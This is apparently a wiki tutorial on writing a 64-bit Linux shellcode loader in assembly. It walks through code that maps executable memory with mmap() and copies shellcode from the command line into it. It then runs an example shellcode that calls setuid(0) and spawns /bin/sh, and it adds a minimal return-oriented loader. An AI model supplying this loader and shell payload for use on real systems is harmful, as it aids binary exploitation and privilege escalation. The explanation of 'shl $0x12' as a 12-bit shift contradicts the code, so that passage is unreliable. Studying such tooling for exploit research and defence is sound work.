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Shellcode/Loaders

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Shellcode loaders are used to test shellcode before use in a buffer overflow or other form of binary exploitation. The best way to construct a loader for user-friendly operations is by taking the shellcode as a command line argument and passing it to freshly allocated executable memory space. This article examines the construction of such a loader for Linux in assembly language for the 64-bit x86 instruction set architecture, though a 32-bit shellcode loader is provided in the appendix.

c3el4.png
The code discussed here is revisited later to be converted into shellcode for use in a polymorphic shellcode decoder, so it is nearly null-free. Full source available in the appendix or by downloading shellcodecs.

Executable loader

This section examines the 64-bit loader provided in the shellcodecs package.

Command Line Arguments

Command line arguments are pushed onto the stack in this order: second argument, first argument, number of arguments. Therefore, in order to get the shellcode from the arguments, pop the %rbx register three times. Once this is done, the %rbx register will contain a pointer to the shellcode:

 
_start:
    pop %rbx  # argc
    pop %rbx  # arg0
    pop %rbx  # arg1 pointer
 

Executable memory allocation with mmap()

See also: Unlinked 64-bit system calls, the 64-bit system call table

Because modern operating systems have non-executable stacks by default, an executable stack must be constructed for successful code execution. This is done with the mmap() system call.

The prototype for mmap() is:

 
  void *mmap(void *addr, size_t len, int prot, int flags, int fildes, off_t off);
 

On 64-bit processors, function arguments are passed like so:

 
   function_call(%rax) = function(%rdi,  %rsi,  %rdx,  %r10,  %r8,  %r9)
                 ^system          ^arg1  ^arg2  ^arg3  ^arg4  ^arg5 ^arg6
                  call #
 

First, the system call number for mmap() is placed into %rax:

 
    push $0x9
    pop %rax
 

The first argument (%rdi) of mmap() should be null, so using xor, %rdi is set to zero.

 
    xor %rdi, %rdi
 
  • The desired size of the buffer (4096 bytes or 0x1000 in hex) is passed into %rsi as the second argument to mmap.

The %rsi register is initialized to zero by pushing %rdi and popping %rsi:

 
    push %rdi
    pop %rsi
 

Then incremented to get it to 0x0001:

 
    inc %rsi
 

And shifted left 12 bits (1 shifted left 12 bits will become 0x1000 or binary 00010000 00000000):

 
    shl $0x12, %rsi
 

The third argument (%rdx) contains the memory permissions (read, write, execute, or none), for multiple, they are put together using bitwise or. Since 7 is the result of ORing the flags PROT_READ, PROT_WRITE, and PROT_EXEC, the or itself is skipped and its value (7) is stored in the %rdx register.

 
    push $0x7
    pop %rdx
 

The flags argument functions the same way as the "prot" argument, but requires constants for mapping. In this case MAP_PRIVATE|MAP_ANONYMOUS, which maps out to 0x22, is stored in %r10.

 
    push $0x22
    pop %r10
 

The final two arguments should be null and stored in %r8 and %r9.

 
    push %rdi
    push %rdi
    pop %r8
    pop %r9
 

Once the registers are set, a syscall is used to invoke mmap().

 
    syscall   # The syscall for the mmap().
 

The %rax register now contains a pointer to the buffer returned by mmap() to copy the shellcode into.

Copying the code into the new memory

The %rsi register is initialized to 0 to be used as a counter:

 
inject: 
    xor %rsi, %rsi
 

%rdi will be null as well because the current byte is compared to %dil to determine when the end of the shellcode has been reached.

 
    push %rsi
    pop %rdi    
 

If so, then jump to inject_finished and actually execute the code.

 
inject_loop:
    cmpb %dil, (%rbx, %rsi, 1)
    je inject_finished
 

Each byte of the shellcode is moved from %rbx + %rsi (current location) into %rax + %rsi (new executable memory) through the '%r10b single-byte sub-register of %r10:

 
    movb (%rbx, %rsi, 1), %r10b
    movb %r10b, (%rax,%rsi,1)
 

%rsi is incremented as both the offset and the counter:

 
    inc %rsi
 

And then the loop restarts:

 
    jmp inject_loop
 

The inject_finished routine then appends the ret opcode, 0xc3, to the end of the shellcode:

 
inject_finished:
    movb $0xc3, (%rax, %rsi, 1)
 
c3el4.png
In proper machine language terminology, an opcode is an instruction while bytecode refers to the opcode as well as its arguments, called operands.

Returning to the code

The reason that the code is returned to rather than jumped to or called is because this more adequately simulates the environment similar to that of a vulnerable application at the time of a buffer overflow. A payload is returned to, and therefore, when shellcode is loaded, it should also be returned to.

First, ret_to_shellcode is called. This causes the address of exit to be pushed onto the stack, so that the end of the shellcode now returns to <address of exit>.

 
    call ret_to_shellcode
 

The original return address is then overwritten with the address of the shellcode, and returned into.

 
ret_to_shellcode:
    push %rax
    ret
 

When the shellcode completes, it will return to the exit function to exit cleanly:

 
exit:
    push $60
    pop %rax
    xor %rdi, %rdi
    syscall
 

Once the code is complete (source) it can be built the same way as any assembly program:

 ╭─[email protected] ~  
 ╰─➤  as -oloader-64.o loader-64.s
 ╭─[email protected] ~
 ╰─➤  ld -oloader-64 loader-64.o

Or by typing `make' from the root directory of shellcodecs.

Using the executable loader

The shellcode invoked here is the same as the shellcode constructed and extracted earlier. Notice the change in prompt, and that exit returns the original prompt. This indicates that the shellcode executed successfully.

 ╭─[email protected] ~
 ╰─➤  ./loader "$(echo -en "\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05");" 
 [[email protected] ~]$ exit
 exit
 ╭─[email protected] ~
 ╰─➤

Return oriented loader

Return oriented code can be tested using a loader as well; though a much smaller loader is used as return-oriented code should not require executable memory allocation:

 
_start:
 
pop %rbx  
pop %rbx  
pop %rsp  # %rsp now points to arg1 in the stack
ret
 


See also

Related tool: shellcodecs

Other loaders include the dynamic loader and the dynamic socket loader. These are used when the shellcode depends on the context of the vulnerable binary application containing a dynamic section for linking.